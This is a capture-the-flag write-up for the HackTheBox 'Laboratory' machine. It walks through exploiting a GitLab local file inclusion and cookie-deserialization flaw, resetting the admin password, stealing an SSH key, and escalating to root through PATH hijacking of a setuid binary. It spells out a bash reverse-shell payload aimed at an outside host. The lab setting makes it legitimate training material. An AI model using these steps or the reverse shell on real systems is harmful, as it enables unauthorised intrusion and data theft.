Updated：November 5, 2021 pm
First we start by scanning the provided ip using nmap.
We have 3 common ports available, first lets visit port 80 using our web browser.
We get redirected to a hostname https://laboratory.htb/ on https. Let add this to our hosts file.
We don’t get any usefull info from here besides some clients names we may need later.
Looking again at Nmap result we got another hostname git.laboratory.htb. Nmap took this from the ssl Subject Alternative Name.I add this to my hosts file and visit it.
Gitlab is installed. Because I don’t have any username or password I try to signup but there is a problem.
After knowing the version I search for exploits.
There is an open report disclosed via hackerone to gitlab team about an lfi https://hackerone.com/reports/827052.
We can read internal files by creating two repositories
b. Then we create an issue on the repo
a by adding a description
/etc/passwd is the file we want to read. We then move this created issue to repository
b and the file will be available to download. But we need to get a shell on the machine. I tried to get ssh private keys but I was unable. Looking at the same report on hackerone the author also provided a way to gain rce.
I was able to get the secret_key_base file so I continued with the exploit. To do this I created a docker instance on a digitalocean vps as my machine is a slow and docker with gitlab needs a lot of resources(I tried it lol).
First we install docker.
Going to dockerhub we find a docker version which is vulnerable. Here is the page which has a version prior to the one which is vulnerable. I use version 12.8.6-ce.0 , ce indicates community edition.
These commands will install gitlab inside a docker container.
This will take some time to complete, and start. I enter docker using the following commands.
Now I need to get the file
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml from laboratory machine using lfi and then replace it with the one inside the docker container. After we enter
gitlab-rails console and try to create a cookie with a payload which will send a get request to test if the payload works.
Now we copy this and send it using curl.
And we successfully get a connection back.
I do the same, the first command will be to fetch a file containing
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 form my web server. The second command will make it executable using
chmod and the final command will run it. Each of the command are sent reparately.
I am inside the docker container which contains gitlab. I can now enter
gitlab-rails console and change
administrator password which will give me access to all repositories.
Dexter is the administrator username and the password I just changed it to
When loggin in as dexter we can see all repositories, but the one repo from dexter contained an id_rsa ssh key.
I use with ssh and get user.txt
Looking at todo.txt we see a todo which is highlighted:
I find a file docker-security located in /usr/local/bin/docker-security which has setuid bit set. I copy the binary to my machine using nc and then I run strings on it.
Looking into this we can see that it runs chmod using relative path. So If we change our terminal path to a directory we want and then create a malicious file named chmod it will run that file instead resulting in running root code for us.
And We get our connection back and read root.txt.